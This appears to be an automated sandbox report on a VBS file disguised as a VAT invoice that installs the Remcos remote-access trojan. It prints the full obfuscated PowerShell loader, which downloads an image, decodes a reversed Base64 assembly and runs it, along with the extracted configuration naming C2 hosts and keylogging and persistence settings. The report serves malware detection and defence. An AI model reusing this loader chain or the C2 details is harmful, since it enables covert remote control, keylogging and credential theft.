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Windows
Analysis Report
LbtytfWpvx.vbs
Overview
General Information
Sample name: | LbtytfWpvx.vbsrenamed because original name is a hash value |
Original sample name: | 4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs |
Analysis ID: | 1578245 |
MD5: | 4dd53bc42716f9abe36ae85c8ca8ea4b |
SHA1: | aa44fc15455a5283e6596a4da7ee87ac4e4b8901 |
SHA256: | d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573 |
Tags: | vbsuser-adrian__luca |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell download and load assembly
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Command shell drops VBS files
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Potential malicious VBS script found (suspicious strings)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7272 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Lbtyt fWpvx.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7320 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " $nonintere st = 'http s://res.cl oudinary.c om/dzvai86 uh/image/u pload/v173 4315244/m3 gtbqktvnoc yvm410aa.j pg';$fishe rs = New-O bject Syst em.Net.Web Client;$ma rmalady = $fishers.D ownloadDat a($noninte rest);$rud dle = [Sys tem.Text.E ncoding]:: UTF8.GetSt ring($marm alady);$bl eekbok = ' <<BASE64_S TART>>';$r ouse = '<< BASE64_END >>';$unloo se = $rudd le.IndexOf ($bleekbok );$Benedic t = $ruddl e.IndexOf( $rouse);$u nloose -ge 0 -and $B enedict -g t $unloose ;$unloose += $bleekb ok.Length; $tumefied = $Benedic t - $unloo se;$biogra phed = $ru ddle.Subst ring($unlo ose, $tume fied);$bac king = -jo in ($biogr aphed.ToCh arArray() | ForEach- Object { $ _ })[-1..- ($biograph ed.Length) ];$nonflav ored = [Sy stem.Conve rt]::FromB ase64Strin g($backing );$hemauto gram = [Sy stem.Refle ction.Asse mbly]::Loa d($nonflav ored);$sub carbureted = [dnlib. IO.Home].G etMethod(' VAI');$sub carbureted .Invoke($n ull, @('tx t.erg/kni/ pot.crwsla iciffo.tes //:sptth', '$delie', '$delie', '$delie', 'MSBuild' , '$delie' ,'$delie', '$delie',' talpe', 'C :\ProgramD ata\','tal pe','vbs', '1','1','T askName')) ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7328 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7804 cmdline:
"C:\Window s\System32 \cmd.exe" /C copy *. vbs "C:\Pr ogramData\ talpe.vbs" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - MSBuild.exe (PID: 8040 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232) - MSBuild.exe (PID: 8048 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232) - wscript.exe (PID: 2084 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\aj ul.vbs" MD5: FF00E0480075B095948000BDC66E81F0)
- wscript.exe (PID: 7860 cmdline:
wscript.ex e C:\Progr amData\tal pe.vbs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7908 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " $nonintere st = 'http s://res.cl oudinary.c om/dzvai86 uh/image/u pload/v173 4315244/m3 gtbqktvnoc yvm410aa.j pg';$fishe rs = New-O bject Syst em.Net.Web Client;$ma rmalady = $fishers.D ownloadDat a($noninte rest);$rud dle = [Sys tem.Text.E ncoding]:: UTF8.GetSt ring($marm alady);$bl eekbok = ' <<BASE64_S TART>>';$r ouse = '<< BASE64_END >>';$unloo se = $rudd le.IndexOf ($bleekbok );$Benedic t = $ruddl e.IndexOf( $rouse);$u nloose -ge 0 -and $B enedict -g t $unloose ;$unloose += $bleekb ok.Length; $tumefied = $Benedic t - $unloo se;$biogra phed = $ru ddle.Subst ring($unlo ose, $tume fied);$bac king = -jo in ($biogr aphed.ToCh arArray() | ForEach- Object { $ _ })[-1..- ($biograph ed.Length) ];$nonflav ored = [Sy stem.Conve rt]::FromB ase64Strin g($backing );$hemauto gram = [Sy stem.Refle ction.Asse mbly]::Loa d($nonflav ored);$sub carbureted = [dnlib. IO.Home].G etMethod(' VAI');$sub carbureted .Invoke($n ull, @('tx t.erg/kni/ pot.crwsla iciffo.tes //:sptth', '$delie', '$delie', '$delie', 'MSBuild' , '$delie' ,'$delie', '$delie',' talpe', 'C :\ProgramD ata\','tal pe','vbs', '1','1','T askName')) ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7916 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - MSBuild.exe (PID: 7060 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232) - MSBuild.exe (PID: 6800 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["rem.pushswroller.eu:23101:1", "firewarzone.ydns.eu:23101:1", "dim.remofficialws.top:23101:1", "rem.officialswvrem.top:23101:1"], "Assigned name": "NW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmcghdzxtrswtwg-BJ2KPV", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Click to see the 16 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 7 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |